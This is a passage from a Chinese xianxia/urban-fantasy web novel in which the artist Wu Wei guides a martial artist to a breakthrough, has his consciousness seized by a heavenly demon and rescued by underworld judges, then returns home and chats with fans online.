因为很多人都是这样,三观被塑造之后,就很难改变,因为潜意识很固执,只有不停地去暗示,才能让它潜移默化的发生偏移。
“其实宗教里有服气的方式你听说过吗?”
子车树点点头,他确实听说过,是让人通过吞服空气从而得到饱腹感,来抵挡辟谷的饥饿。
“那其实是一种祝由术,通过一些动作让你相信你吃到肚子里的气真的可以维持你的生命,从而让你相信不吃饭没问题以达到辟谷的目的。”
这里说的祝由术是心理暗示,不含玄学的那种,子车树不是玄门的人,自然不清楚那些怪力乱神的事。
虽然见过吴惟的神通,但吴惟想到他下意识不会往那方面想,也就没去解释。
很有道理,子车树无法反驳。
“但是这种方式依旧是一种外求,所以效果不会太好。”
这只是吴惟认为的,因为他最开始接触到的就是那种效果最好的,之后知道了服气,也去了解过,曾经也为了一些…好奇心,加入过他们,观察过他们的状态。
画画的好奇心旺一点很正常!
“也就是说,你说的相信的力量,就是内求?”子车树听到这里大概能很上吴惟的思路了,其实并不难,只是因为习惯没有扭转过来,才会无法理解。
他想起那些武道功法最基本的要求都是心神合一,其实他一直不是很理解的,以为就是一种平静。
因为他父母也说炼武是身动心不动,需要以一种平常心去练。
心神合一,内求…
子车树总觉得自己似乎摸到了点门道,可是怎么也进不去。
吴惟点头,“但表面上的相信没什么意义,你需要让自己潜意识里就认可这个概念。”
子车树摸着下巴点头,心想也对,不可能就是随便想想这么轻松。
他还在消化吴惟刚刚说的话,突然听对方话题一转,问道:“你对‘静’这个字有理解吗?”
子车树不明所以,但还是想了想,回答道:“平静,宁静,静止,他应该是事物运动的一种状态。”
“初中物理就学过,运动是绝对的,静止是相对的。不过你说的静应该和物理上的没关系吧?”
“算是有。”吴惟笑了笑说道:“其实是相通的。”
子车树:“?”
“因为运动是相对的,所以事物无论如何都在发展中,他不可能保持一种绝对的静,所以,静止是一种争取的动作,它是需要力量去维持的。”
“!”子车树豁然开朗!
很早之前他练功总是静不下心,很躁动,父母总说他没天赋,他不服气,下了很大劲才静下,炼成了现在这种境界。
虽然他有一股不服输的劲,但他一直记得父母的话,一直觉得自己心态不行,别人轻轻松松,他却需要铆足了劲。
却原来,他的抗争也是修行的一部分,静本身就是需要大毅力的,而他成功了,所以才有现在的成就。
也难怪同境界中,他的真气总是比别人更稳,更流畅。
想通这一点,他倏然发现天地开阔许多,许久没有动静的境界松动了,子车树向吴惟鞠躬道谢,急忙回到自己的帐篷盘膝坐下。
“啊?”吴惟不明所以。
婴灵:“他要突破啦!”
吴惟:“这就要突破了?”
婴灵:“嗐,估计是想通了什么之前一直迷茫的事吧,我看他内息应该早就可以突破了,只是卡心境了而已。”
吴惟:“…原来如此。”
其实他会提到“静”可以说是一种无端联想了。
那是他大学毕设时候为了画面效果思考过的一件事,为了打破固有印象专门去翻字典理解这个字的含义,比较打破固有认知。
因为大家提到这个字的时候都会样平静、安静、平淡等这种方向去想,延伸出来的更多是一种停止,被动地状态。
但如果从字形去理解就有趣了,它的“争”恰巧是一种主动的,甚至是要尽全力去“争取”。
至于为什么会联想到这个点,主要是因为辟谷想要达到效果也是一种打破固有认知。
放在平时哪怕联想到了什么吴惟的不会说出来,但这段时间相处不少,吴惟慢慢融入了这个小群体,话就变多了不少,才会忍不住主动分享这些。
没想到竟然还能无意间帮到别人,也算是意外收获吧,有点小开心。
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43.第 43 章
两天后,子车树神清气爽走出帐篷,闻立新看到了赶紧跑过来问了句:“你没事吧?”
“我有什么事?”子车树一懵,就听闻立新说道,“你知不知道你都两天没出来了,要不是大佬说不要打扰你,我早就闯进去把你拖出来了!”
“呃…”子车树有点不好意思地摸摸鼻子,“对不起,我闭关的有点急…”
闻立新一听这个就不担心了,室友是武林高手嘛,“你是不是突破了!就像那什么,武学到了极致,境界压不住了突然就突破了什么的?!”
看室友这兴奋的样子,子车树有些无语凝噎。
不过有一点他说对了,“确实突破了,不过不是你说的原因,是吴惟…先生指点,看清了点事情,就自然而然,水到渠成。”
“哇!”闻立新鼓掌,“你好厉害,大佬也好厉害!我什么时候能学会一星半点是不是也会很厉害?”
子车树无奈:“你先把马步扎稳再说吧。”
“那什么,”闻立新扭头就跑,边跑边喊,“我去给你拿些吃的!”
子车树:“……”
算了,随他去吧,他得先去和先生道谢,毕竟帮了自己这么大一个忙。
他卡在后天境界已经好几年了,积累的真气早就可以助他突破先天境界,但就是纹丝不动。
这些年他也挺焦急的,为了转移视线,才把精力全部投入他不怎么喜欢的学习上面,也因为专注力足够强,才勉强考了个名牌大学,和闻立新成为室友。
这么多年他已经看开了,也许自己在武道上并没有天赋,所以他除了日常的练习,不再刻意追求武道。
其实他内心原本还是有一丝侥幸的,他想也许自己不再纠结执着,说不定就能突破。
因为他听说了突破先天是需要心境的。
但是自从他放弃了武道的执念依旧没有突破,他就再也不信那一套了,思维模式也转变成坚定的唯物主义。
也就是这次突破,他才认清了自己,原来,原来自以为的放下,只是失败后的借口,他从来没有释然。
他甚至骗过了自己。
然而他需要的也并不是释然,而是理解最初的自己。
为了武道努力维持“平静”的自己。
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子车树找到吴惟的时候,他靠着孰湖睡着了,长发一部分搭在马鞍上,一部分被枕在身下,孰湖以一种不太舒服的姿势扭过身来,帮他揉着太阳穴,小八哥站在他腹部的手上,歪头晒太阳。
阳光落在吴惟那张苍白的脸上,竟有种莫名的脆弱感,仿佛马上就要消失了一般。
子车树瞳孔微缩,他不知道自己为何会有那种感觉,但看到吴惟脸色不对,他赶忙上前查探他的情况。
孰湖没感觉到恶意,没有什么别的动作,小八哥吓了一跳,飞到孰湖头顶,嘴里喊着,“救命啊~救命啊~”
子车树没功夫理它,把手搭上吴惟的手腕,一股真气从脉搏处涌入,转了一个大周天,没发现什么问题。
就在他皱眉之际,运行到百汇处的真气被什么东西吸收了,子车树忽然眼前一黑,整个人栽倒下去,被孰湖眼疾手快地捞起来,跟吴惟并排躺了。
子车树意识恢复,就感觉这个地方不对,为什么会这么黑?
他一抬头,就看见盘坐在空中的吴惟浑身散着金光,仿佛神像一般庄严肃穆。
他身前还有一个穿着古装的小孩儿,面色焦急地看着他。
不对,那小孩是背对着我的,为什么我会知道她面色焦急?
这里一切透露着怪异,子车树不得不小心应对。
小娃娃像是发现他了,转过了头,有些疑惑道:“奇怪,你是怎么进来的?”
忽然小娃娃面前出现一行字[出事了,婴灵,你先用吴惟的身体出去看看,不用管什么规矩,直接出手!]
“好我知道了!”说完小娃娃就消失在空间中。
子车树愣了一下,出事了?出什么事了?还有用吴惟的身体?
[别问了,晚些时候会有人帮你解答,在你探查吴惟身体的时候,我以为是有什么东西入侵才无意间把你吸纳来此,现在就放你出去]
下一秒子车树感到天旋地转,半晌才恢复过来。
他猛的起身,发现自己躺在孰湖的身上,身边的吴惟已经不见了,孰湖站起身,示意他上来。
现在不是纠结的时候,子车树也不矫情,骑着孰湖一路向扶摇山庄狂奔。
.
“为什么,你为什么不救我!为什么?!”
“呜呜呜…为什么?你明明那么厉害,为什么不来我们村…哈哈哈哈…都死了,都死了!!都是因为你!”
“……”
吴惟意识飘忽,被耳边呜呜咽咽的哭声和尖叫声吵的不行,想要封闭五感,但怎么也封不上,惨叫声不绝于耳。
“啊——谁来救救我,我不想死,不想死!!!”
“啊——”
“哈哈哈哈都死了!没有一个活口!全都死了!”
“为什么不早点来,我们躲过了地震,却被饿死了,哈哈哈哈,你不救我们,你该死!”
“……”
吴惟被吵的不行,慢慢睁开眼睛,所见皆是扭曲的恶鬼,他们血肉横飞,一边起舞,一边哭喊,比之张钰婷的梦境都要不堪入目许多。
吴惟心情很平静,他已经很多年没有这么平静了。
他仿佛一个旁观者,情绪感官全部抽离了自己的灵魂。
是什么时候有过这样的感觉呢?那是很早以前的事了,那时他还小,对世界的认知很片面,到又喜欢乱想,深想。
想到人类的终点是死亡,宇宙最终的宿命是毁灭他感受不到活着的意义,陷入了虚无的空洞。
很长一段时间出不来,那时他游离在群体之外,冷眼旁观世界,连他妈妈都为这样的眼神感到恐惧。
好在他不是喜欢钻牛角尖的人,一个事情想不通,只要放放,也许过段时间,阅历深了,再拿出来就能想通了。
没错,后来他的确想通了,在一次走走停停的旅行中,他发现如果什么事都追求结果,那么他旅行的意义就是回家。
终点在家,那么无需出发,但出发了才能看到沿路的风景。这就是意义。
我来过,我走过,我经历过。
这就足够了。
他明白了这个问题,心情舒畅了很久,他把自己当成一个观察员,看着身边没一件事的发生。
但也只是看着,从来没有关心过。
直到上了大学,看着一群奇葩同学,他稍微有了一点探索的欲望,但是很淡。
跟同学交流的时候,他能像一个正常人一样,说说笑笑,一旦离开环境,他会迅速抽身,仿佛之前的快乐不属于自己一般。
甚至会固执的以为,他们互相之间的感情很淡。
但他还是会把记忆小心翼翼地珍藏,也许哪一天拿出来看看依旧能会心一笑,但仅此而已,他和他们的交集不会再深入了。
因为他向来如此。
这个,好像就叫社恐吧。
不过无所谓,只要自己过得舒服就好了。
他像幽灵一样来无影去无踪,直到被一根笔砸中…
他的生活似乎多了很多色彩,出现了很多意想不到的人,他很开心,他一直沉浸其中。
但这一刻他好像又抽离了。
这段时间的忙碌都快让他以为自己其实像个正常人一样拥有同理心,原来都是臆想吗?
或许这才是我真正的样子。
吴惟冷漠地看着哭喊的怨魂,没有一丝反应。
还是在婴灵身边好,那些快乐的情绪,很温暖,这里,好冷。
.
婴灵到的时候,很多人都受伤了,管家护着老大爷,被孟昊咬住不松口。
孟昊双眼赤红,绳索早就被他挣脱,血液从他嘴里流了出来。
闻立新大叫着举着棒球棍冲了过去,“砰”的一声砸在孟昊脑袋上。
孟昊吃痛,松开了管家的胳膊,把目标转向了闻立新。
闻立新抱着棒球棍,浑身发抖,不停地往后退,婴灵见状也不废话,直接招出判官笔,画出一笔,功德不要钱地朝孟昊飞泻而去!
孟昊像看见什么可怖的事物一样怪叫着急急后退。
“封!”婴灵写下了封字最后一笔,字落法随,功德从四面八方翻涌扑向孟昊,封住了他所有的退路。
星星点点的功德金光落在孟昊身上,如同硫酸一样腐蚀着它的肉身,黑色的气息拼命外涌。
“啊——!!!”
惨叫声不绝于耳,没过一会儿,孟昊就坚持不住,摔在地上不断翻滚。
子车树到的时候就看到了这幅场景。
他看到站在不远处的吴惟浑身冰冷,不,这不是吴惟。
“滚出来!”婴灵神色愈发冰冷,周身的气息翻涌,地气被打乱,无头苍蝇一样在空间
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中乱窜,散落在周边的十几个活人一时之间承受不住,三三两两搀扶着快速撤离现场。
子车树没有动,孰湖在原地焦急的来回踱步,它知道出事了,但是他不明白,站在那的崽崽为什么好像变了个模样。
“再说一遍,滚!出!来!”四周功德渐长,一副誓要逼出藏匿暗中那东西的模样。
“啊啊啊啊!!!!”
伴随着更加凄惨的叫声,一团黑气猛然从孟昊身上窜出,下一秒,孟昊就没了动静。
“桀桀桀桀桀桀桀……”
“你是要越权吗?判官小姐?”
一道熟悉的声音,伴随着阴冷的怪笑从黑团子身上传来,婴灵暴怒:“闭嘴!不许用他的声音说话!”
这道声音是吴惟的,除了那声怪笑,连说话的语气都一模一样,轻柔,带着一丝疏离。
但从这个黑团子口中发出,却染上了一丝恶心的黏腻感。
子车树脸色骤变,差点没吐出来。
这种东西似乎能污染人的精力。
婴灵注意到这边的情况,出声提醒:“封闭五感。”
不用说,子车树已经照做了,武者的五感也是可以自行封闭的。
“判官小姐不想听到我的声音吗,真让人难过。”
黑气团子翻涌,轻轻露出一丝红蓝相间的星云的一角。
婴灵目呲欲裂,那时吴惟的意识!
人的意识是无形的,是记忆包裹着的执念和欲望的集合体,只有鬼魂和一些特殊种族才可以“看”到的。
这是一个人最重要的东西,而灵识就是意识的一种表现形态。
她错了,她不应该在临省之外让吴惟练习使用灵识!她应该做好完全的防护之后再让他练习!
没想到会被天魔顺着一丝气息摸过来,抽走吴惟的意识。
“天!魔!”婴灵狠狠磨牙,“你!很!好!”
不能越权是吧!我让你知道地府到底有多团结!
婴灵抄起判官笔在空中写下一个个名字,她的手快出了残影,符文越写越多,名字快铺满了整个空间。
天魔震惊,半天没反应过来,“你疯了!”
这么多鬼神降临人间,也不怕触犯天道规则,被天雷劈个灰飞烟灭?!
“是啊,我疯了,特么的老娘养了这么久的崽子你说抢就抢!老娘不弄死你不姓江!”婴灵原本脾气就不好,怨魂就没有脾气好的!
她又不是报过仇才成鬼神的,她当年怨气都还没消散完就被阿善捡走了,现在还心中有怨呢,脾气怎么可能好。
除了打不过的长辈,只有吴惟能让她心平气和!
虽然最开始只是愧疚,但孩子养久了总会有感情的。
看着孩子慢慢从壳子里走出来试探着接触世界,那种幸福感,这只狗比天魔是不会懂的!
金色的符文忽闪忽闪,很快周围的空间中阴气大涨,地气冲天而起,仿佛要捅破天一般,远在山区之外的毕子濯都看见了。
他赶忙通知特事局,特事局又通知了军方,几方协调之后,派出十几架直升机载着玄门一线战力的强者向地气冲天的方位进发。
“那个方向,好像是无为休假的地方!”楚星垣脸色一白,“不会是那玩意对他出手了吧!”
“冷静。”莫繁喝了一声,楚星垣缓过劲来,刚刚他差点道心不稳。
“哼,果然是祂的手笔。”莫繁冷哼,“你越是担心,越是容易着了祂的道,比起这个,还是想想之后怎么救人吧。”
毕子濯比他们看到的多,似乎不是怎么担心:“我看到了那些地气里面包裹着的功德金光非常多。”
莫繁顿了一下:“地府鬼神都出来了?那家伙是捅了鬼神窝?”
没错,还真是捅了鬼神窝呢:)
“是辣个敢欺负窝家滴崽子,麻溜的把脑袋伸过来给俺砍咯!”说话的是一花臂大哥,面相凶狠,是蜀州罚恶司判官。
美艳优雅的沅柩抬起下巴,手上的折扇瞬间变成剑,直指天魔,“少废话,直接干祂丫的,敢欺负本官的妹妹,宰了祂!”
其他外州的判官没有权限不能出手,在一边助威呐喊,“抓住祂,到时候下锅炖了!”
“就是,你们行不行啊,不行赶紧开权限让我们上啊!”
“搞快点,没看婴灵妹妹都要急哭了吗?”
他们地府最小的妹妹被人欺负了,作为哥哥姐姐的,当然要好好给妹妹出气了!
.
44.第 44 章
鬼怪越来越猖狂了,疯狂往吴惟面前怼,想要吃掉他。
可惜他们进不来。
天魔最擅长的是攻心,他想要吃掉人的意识,只能靠挑动人心中的负面情绪。
是恶念也好,贪念也好,那怕一丝恐惧的情绪都能让他钻空子。
但是吴惟没有,他的自我保护机制告诉他,你,没,有,心。
所以天魔即使抓了他也奈何不了他。
但是他讨厌这里,这里很冷,他想要去暖和一点的地方。
蓦地,他好像感受到了一丝温暖。
他抬起头,从鬼怪的缝隙里看到了漫天金光,不刺眼,很好看,也很温暖。
吴惟想也不想飞身而出,快要被鬼神们轰散的天魔虚影再也包裹不住他的意识,被他毫不费劲的冲了出来。
他置身于金色中,仿佛回到了母体,温暖而静谧。
忽然吴惟好像听到有人在喊他,“这里,吴惟,过来这里!”
他很喜欢这个声音,让他想起糯米团子,软软的,一戳一个坑。
吴惟无意识地向那个声音飘去,声音渐渐远离,所有的画面都开始褪色,他的意思逐渐沉入海底…
婴灵小心翼翼地捧着红蓝相间的星云,狠狠的松了口气,还好他没事。
阿善说的对,惟崽对天魔就是天克!
一众鬼神从这团星云冲出黑雾就好奇围观起来。
“这是什么意识?”
“我还是第一次见这么好看的意识哩,轮回都没这么好看吧?”
“轮回当然不好看了,那么多意识交织,杂乱无章的,孔雀都看不上,哪像这个,这么有秩序感。”
“但是双色哎,多少年没见了,还是撞色。”要是让吴惟听到,保管吐槽一句,哥们你活着的时候是同行吧。
“婴灵找了个不得了的崽崽呢。”
“自己都是个崽崽,不然还是给我养?”
“去一边吧,算盘珠子蹦我脸上了。”
婴灵冷冷地扫了他们一眼,怒骂道:“想吃屁!”
抱着吴惟的意识往脑袋上拍了一下,红蓝星云瞬间被吸了进去。
“呦,你现在这身体是这个崽崽的?长得还有点像天神。”
婴灵很不客气地一巴掌拍过去,嗯…没拍到,但是嘴上不能输:“没事了,你们滚吧!”
“嘿——你个小娃娃,用完就丢。”
“行行行,那我们走了,可别忘了我们的报酬~”
“嗯。”
众鬼神散去,只留下沅柩,蜀州判官们打了声招呼就各自干活去了,最近他们州活是真的多,闲不了一点。
沅柩拍了拍婴灵的肩膀,没说什么。
她留下是为了等人间的官方,毕竟婴灵闹这一出怎么说都有点过了,天道不管,但她无论如何都得出面表达地府的态度。
毕竟真要说,天道只是平衡客观规则的存在,只要有契约在,祂就默认了。
但是他们作为人,还是需要平衡人心的。
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众人抵达的时候,鬼神已经尽数离开,只留一团冲天的地气久久不散。
地上一片狼藉,周围一圈躺了不少人,他们一眼就看到了中间跪趴着的孰湖,它怀里还抱着一个人,嘤嘤叫着用脸拱那人的脸。
它的身后还靠着一人,似乎醒着,正在艰难地喘着气。
孰湖身边的城隍用手托着金印,星星点点的金光护着在场的所有普通人身上。
曲枫荷率先上前,从孰湖手里接过吴惟,孰湖没有反抗,它知道眼前这人能救它的崽崽。
曲枫荷检查了一下,说道:“身体没有问题,是灵魂…不对,应该是意识出了点问题,导致灵魂有些逸散,只能先养着了。”
说完把吴惟交给孰湖,在他身上施展了个祝由术转身去看第二个…
一圈下来,曲枫荷和另一名道医把这些人还包扎的包扎,该安神的安神,并送上直升机让那些不知情的人带着他们回去了。
至于吴惟,孰湖说什么也不让他离开自己的视线,只好让它先抱着了。
这边解决完,那边司令就向沅柩寻求一个答案,沅柩简单说了一下情况,“我来之后的事已经说完了,具体的你可以回去问婴灵。”
“至于这里的地气,只需要一个阴阳演化大阵就能解决,你们应该有会这个的阵师吧。”
宋靥星点头:“我会。”
“好,”沅柩点头示意表示自己知道了,又道,“这次是我们不对,需要什么补偿你们尽管提。”
司令却摆摆手,说道:“你是为了救我们的人才闹出这样的动静的,我们自然也要承这个情,不然就相互抵消了吧。”
沅柩脸色不太好,但也认可了。
司令松了一口气,不愧是地府城隍,真是老狐狸,这要是要了赔偿,吴惟岂不是被他们光明正大的划到地府的范围里了吗?
开玩笑,孩子还活着呢,当然是他们人间的人了!
.
吴惟站在帐篷门口,慵懒地伸了个懒腰,他感觉自己似乎睡了很久,感觉身体都僵硬了。
吴惟回头推了一把和自己贴贴的孰湖,“我想做个操,你往旁边站点好不好。”
孰湖犹豫,上次吴惟在它眼皮子底下出事的情况让它产生了一些应激反应。
回来之后一刻都离不开吴惟,玲玲都没有这样过,一定是这崽崽命格太轻了,它得好好看着!
不过崽崽想活动是好事,不能妨碍他,孰湖没犹豫太久,就退开了,只是眼神依旧落在吴惟身上。
其实不光孰湖,常笑也有点应激,他知道哪怕自己在场,可能也帮不上什么忙,但作为警卫员,自己要保护的对象出了那么大纰漏,让他很难不责怪自己。
这还是第一次任务失败。
就算是受了重伤那次,也完美的完成了任务。
婴灵更是抱着抱着吴惟的魂魄不撒手,确定他意识没有受到伤害之后,才渐渐放下心来。
虽然它没有在天魔手上受到伤害,但到底意识和灵魂脱离太久了。
就像肉身和魂魄分离救回来了也会有段时间难以控制身体一样,意识和灵魂分开时间长,也会导致神魂不和。
之前说了,灵识是意识的一种表现形式,它是意识外放的一部分,但并不是意识本身,所以可以外放。
天魔本身就是从人的意识中诞生的,针对的也是意识,会有一些从灵识下手抓走意识的手段也不奇怪。
这次是她大意了,没有做好防护。
这段时间所遇到的人,基本都很好,让她忽略了,人性恶的一面攻击性总是比善的一面强。
天灾面前人类本身就很脆弱,哪怕现在大多数人都憋着一口劲,团结互助,想要渡过难关,到到底都有自私的一面,更何况人群里也不乏藏匿的恶人。
即使正面情绪占了主导,天魔也依旧能够钻空子,吸收到很多能量,更何况,枉死之人很难没有怨气。
若非这段时间的努力确实有不小的成效,使得天魔想要壮大比较困难,祂也不会这么好对付。
好在,最后结果不错。
吴惟打了一套太极之后才觉得身体没那么僵硬了,伙伴们知道他醒了,不约而同跑来看望他。
此时正在围观他打拳。
子车树还是第一次见他打拳,虽然作为武者,能看出很多动作上的问题,但整体看下来,吴惟的拳法自带一种韵律,气韵贯通,就像…清风一样?
他说不上来,但这种韵律给他带来了一丝冲击,他一直认为练武动作是很重要的一环,很多时候动作是可以带动周身的气韵流转,让它行走在正确的道路上,才能形成真气。
但是吴惟动作并不标准,他的气韵反而比自己还要自然…嗯…应该叫圆融。
像是达到了武学的最高境界那样,不…他不会武,应该是触类旁通。
原来曾经的自己,思想被框死了,他突然有点get到,之前吴惟说“只要你自身相信,就一定能做到”这句话的意义了。
这段时间被特事局各种盘问,那边确定自己没什么问题之后,让他签了个保底协议,就让他离开。
是他固执,想要见吴惟一面,这个人指点过自己,就算半个师傅都不为过,现在师傅受难,他没道理就这么走了。
特事局那边上报之后,那边经过商议同意了他的请求,不过还是先让他回去等通知。
现在已经是那件事过后的第五天了。
吴惟打完太极,神清气爽地收势,一回头脸色都要僵了。
救命,怎么这么多人?!
一时之间,很久没来过的社恐毛病一瞬间涌入心头。
然而社牛和正常人可理解不了社恐,一个个都很关切的围上来。
“已经没事了。”
“我没受伤。”
“好,下次一定注意。”
“……”
司令笑眯眯地看着这其乐融融的一幕,跟身边的警卫员打趣,“老咯,还是年轻好啊,这么有活力。”
他看了眼不远处的子车树,说道:“怎么不一起过去?我听皓轩说你和小惟也是朋友,专门申请来看望他的。”
子车树吓了一跳,没想到司令竟然会跟自己说话,有些局促,“不…不是,吴惟先生算是我半个老师,所以…”
“那就是朋友咯,去玩吧,你们年轻人应该都有很
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多话说。”
子车树并不觉得,但是子车树乖乖听话。
他上前打了个招呼,吴惟还没说什么呢,楚星垣和莫繁两个乐子人率先开口:“嚯,先生?”
“呦~先生~”
吴惟:“……”
这种朋友可以扔掉吗?
殳玲觉得有趣,也学了一句:“噢~先生。”
“先生~先生~”
不是,闹闹你瞎起什么哄,平时怎么学说话学的那么慢,这次就这么快了?!
周围的人被他们逗笑了。
子车树还以为自己说错什么了呢,好好一个人生生被逼成了社恐。
楚星垣看他局促,好心解释了一下,“没事,我们就是意外,这不吴惟他入道晚,我们还是第一次听别人叫他先生,有点…吾家有儿初长成的感觉?”
“噗…”
神特么吾家有儿,会不会形容啊!!
吴惟死鱼眼望天,瞬间失去了和这群人说话的欲望。
他错了,这里不是温暖,是炙热,他快被烤化了。
其实被人叫先生这个事吧,在玄学界并不少见,以吴惟的能力早就可以被这么称呼了。
只不过他一直接触的不是圈里人就是长辈,自然没有人会这么叫他。
这就导致吴惟看起来辈分特别小,猛然听到这个称呼,让人有点精神恍惚的感觉。
吴惟自己也不是很适应。
不过子车树很坚持,“如果不是吴惟先生提点我,现在还徘徊在后天境界。”
“哦,你是个武者啊。难怪我觉得你的气息不太一样。”楚星垣第一次接触正儿八斤的武者,有些意外。
夙逸兴那家伙不算,她并不是凝练真气,而是单纯以剑入道,所修习的剑术也是一种剑气,虽然前期也有练剑形的过程,但并不会刻意锻体。
“哎呦是子车家的小朋友~”莫繁这个不着调的,他一提武者,就看出来着孩子的来历了。
“啊?”子车树懵了,“您认识我父母?”
他没听父母和他提起过玄门啊。
莫繁摊了摊手说道,“我认识你爷爷。”
“嗐,你也别怪你父母没有说过了,现在武者很多都卡在后天境界无法精进,想要对付玄门那些玩意,只有先天可以,所以没必要告知你。”
不然你伸个手都碰不到。
“那玩意你不提,生活中不一定能遇到,但是一旦你知道了,它们会很频繁的出现在你的世界,他们也是在保护你。”
“嗯,我明白了。”子车树点头。
.
一场聚会闹了一上午终于在饭桌上结束了。
如今已经九月快十月了,子车树大概收拾了一下就准备返回学校,闻立新因为家在附近,还要过段时间才能回去。
好在就像他说的,好人有好报,因为闻家建房子从来都很重视地震因素,他们家房子也帮家里人争取了不少时间,别墅附近连带佣人没一人重伤。
他大哥因为出差在外也没出事。
事情已经告一段落,大部分玄门人士因为有自己的事要忙,也纷纷辞行,志愿者们也慢慢交接工作,回到自己的生活轨迹。
官方工作人员和社会各界公益组织依旧忙碌,灾后重建还需要他们。
郁离关掉最后一场直播,认为这里已经没有需要自己的地方了,就把自己这段时间的工作总结汇总到一块,写了一篇万字长文发表了出去,也收拾东西准备离开。
带回最后一批受灾人员的灵魂,地府众人向官方辞行。
沅柩给司令留下了一个信物,如果人间出现不属于人间的力量作乱,可以召唤他们帮忙,也算是初步达成合作。
归终符阵已经关闭,因为人如果过于依赖预言的信息,对发展无益,如今灾区已经清理完成,秩序也在慢慢恢复,自然也用不到它了。
特事局长赵年正式邀请吴惟成为特事局的顾问,他答应下来。
另外给吴惟申请的奖励和功勋也已经下来,他们甚至还想给他评什么杰出青年…
吴惟惊恐后退,开什么玩笑,能评什么?告诉别人他召唤了鬼神来帮忙安置死者?这是能说的事吗?
司令突然觉得委屈,明明这孩子做了这么多事,怎么就不能说了,吴惟义正辞严地说,常笑也没有,他做那点事根本不需要!再说功勋又不是没发!
司令小老头一样嘟嘟囔囔,非要说那不一样,吴惟不觉得哪不一样,谁还不是锦衣夜行了。
吴惟飞速逃离。
走的时候还顺走了绑奶和坐骑。
殳玲:“?”
她那么大个孰湖就这么水灵灵的没了?
.
45.第 45 章
吴惟甚至没走正常的路,是骑着孰湖避开人从野外离开的。
倒不是他拐走孰湖,而是它黏上来的,好说歹说都不愿离开,吴惟没办法,只能带上它了。
但孰湖不仅长相奇特,还是个两米多的大高个,根本藏不住,要避开人和摄像头走,那就只能走野外了。
好在常笑野外生存能力强,吴惟手上物资也不少,否则到家他绝对是个野人了。
至于孰湖非要黏上来,也是被之前的事搞应激了,让它认为吴惟比殳玲命格轻很多,一眼看不住就没了。
于是心一横,抛下“已经长大可以好好活着的崽崽”转头照去顾认识没多久但“很容易挂掉的崽崽”了。
这一趟旅游走过的地方很多,但他们没有去成九寨沟和青城山因为地震,那些地方封闭维修。
虽然有孰湖的他不是不能去,但没必要,他们是想去玩的,不是想去受罪的。
更何况九寨沟也就罢了,青城山是半个人文景观,建筑都毁了大半去那可玩性要小很多。
等以后什么时候重新开放再去也不迟。希望它们不要遭受太多的破坏。
不过也没关系,这一趟收获颇丰,这辈子没经历过的刺激都经历了一遍,等他回家就只想躺着了。
一路走走停停,差不多国庆结束才走到临市。
吴惟从空间里掏出三张隐身符,给几人贴上,并嘱咐孰湖什么都不要碰,这才不声不响从野外出来回到了家。
只是这一到家,吴惟又头疼了,孰湖和常笑住哪?
他家设计就是给一个人住的,虽然有备用床褥,在二楼卧室外面铺个床垫也不是不行,但这不是长久之计。
“没关系,我住隔壁。”常笑冷静道,反正周围一圈都被军方买下了。
吴惟:“?”
好拼,不过也行,不然总是让人睡地板总归不太好。
孰湖就不介意睡地板了,但它上不了楼,看看这拥挤的楼梯,它不情不愿的住进了另一边的隔壁。
那家空间更大,但还没装修,挺适合孰湖活动的,吴惟给它搭了个临时的小窝,准备回头就拿尺子把整个房间都量了一遍,给孰湖设计一个窝。
反正整栋楼都被买下了,他们想怎么改都行:)
.
[事事无为]消失了一个多月,某博上差点爆炸了。
因为抗震救灾的缘故,吴惟的账号早就出圈了,被很多社会各界人士关注。
回到家,吴惟终于想起那个久不更新的账号,于是…手机光荣地卡掉了。
吴惟:“……”
半晌,某博终于有了反应,他发现自己后台都爆炸了,各种关心他的话语掺杂着一些阴谋论和黑他的人。
就…何必呢,他又不是娱乐圈的明星,黑他能有什么好处?
这人是一点也不清楚自己现在的流量。
事事无为:[救灾结束,在山上呆了一段时间所以断联了,人没事,另外因为救灾关注我的人可以取关了,之后会回归画画日常,不再发布关于救灾的消息 #速写九宫格#]
[???一回来就让人取关是个什么操作,笑死,还真是太太的风格]
[事事无为:请关注我的画,不要关注我的人,不要打扰本社恐钻地洞]
[楼上你…哈哈哈哈,不过太太画风真的好清奇,谁家不是巴不得粉丝更多一些,放心放心,虽然我是因为救灾关注你的,但始于人品,终于才华,我现在是画粉了#可把我厉害坏了# ]
[……]
[事事无为也太傲慢了吧,也不看看自己流量是怎么来的,一点也不尊重粉丝,取关了]
[楼上好走不送]
[这什么语气,哪有叫人取关的,用完就扔是吧]
事事无为:[没有别的意思啊,关注不就是因为有用嘛,又不是喜欢我的画,我知道你们好多是因为救灾关注我的,现在我手上也没信息了,也不需要占据你的列表了,取关不是对你我都好吗,你不会多收一天奇怪的消息占用列表,我也好统计真正喜欢在画作的人有多少,这不是双赢吗?]
[6,不愧是你,笑死我了哈哈哈哈哈]
[emmmm本颜粉悄悄冒头]
[?什么颜粉,太太露过脸?!!]
[是漫展啦,真的很惊艳,不过太太自己都没发。估计是不想让人看,我就不在这发了,想看的私我]
[楼上,我我我!!!]
[……]
[笑死我了,看多了饭圈提纯粉丝的操作,第一次见这种,好清纯不做作,不过这样也统计不清的啦,毕竟有很多人只管关注,后续都不一定能看到,再说人都有偏好,也有可能只是喜欢你画的某一个主题]
[本来没关注的,但是这么清纯的的发言不多见,关注一下]
[笑死,画粉比例-1]
事事无为:[还是在山里 #速写九宫格# ]
事事无为:[山里+1 #速写九宫格# ]
吴惟不再关注评论,连发了好几条速写九宫格。
他只是不想有人没事干在他评论区吵架,说些没营养的画,搞人心态,他倒是无所谓,不过他观察过,他的画友和粉丝总是很在意。
不过好像也没关系?在他画下造口业可是会遭报应的,根本蹦跶不久:)
[太太山里的速写好多啊…]
事事无为:[被强制休假了#猫猫骂脏话# ]
[哈哈哈哈,太太太拼了,官方都看不下去了]
[……]
是闹闹呀:[众志成城 #专辑链接# ]
是闹闹呀:[第一次写这种风格,写的不好请多多包涵 #猫猫鞠躬# ]
[卧槽,快看这是谁,鸽子终于回归了!]
[快两个月了,你又消失了快两个月了!]
[……]
[呜呜呜我听哭了,江江你是不是去灾区了,写的这么好!]
[我也觉得江江去灾区了,我也是志愿者,听完真的好有感触,这不是亲眼所见绝对写不出来,呜呜呜]
[老师好低调,不像某些人,宣传的到处都是]
[楼上,都不是一个圈子的,别踩一捧一,你这行为让人很恶心]
[……]
是闹闹呀:[不是哦,无为老师是领了任务哒,不然他肯定比我低调多了,悄悄告诉你们,他是超级大社恐,哈哈哈哈]
[原来是这样,我就知道,无为太太一直都很低调的,这次一反常态,甚至还在评论区互动,真是难为他了]
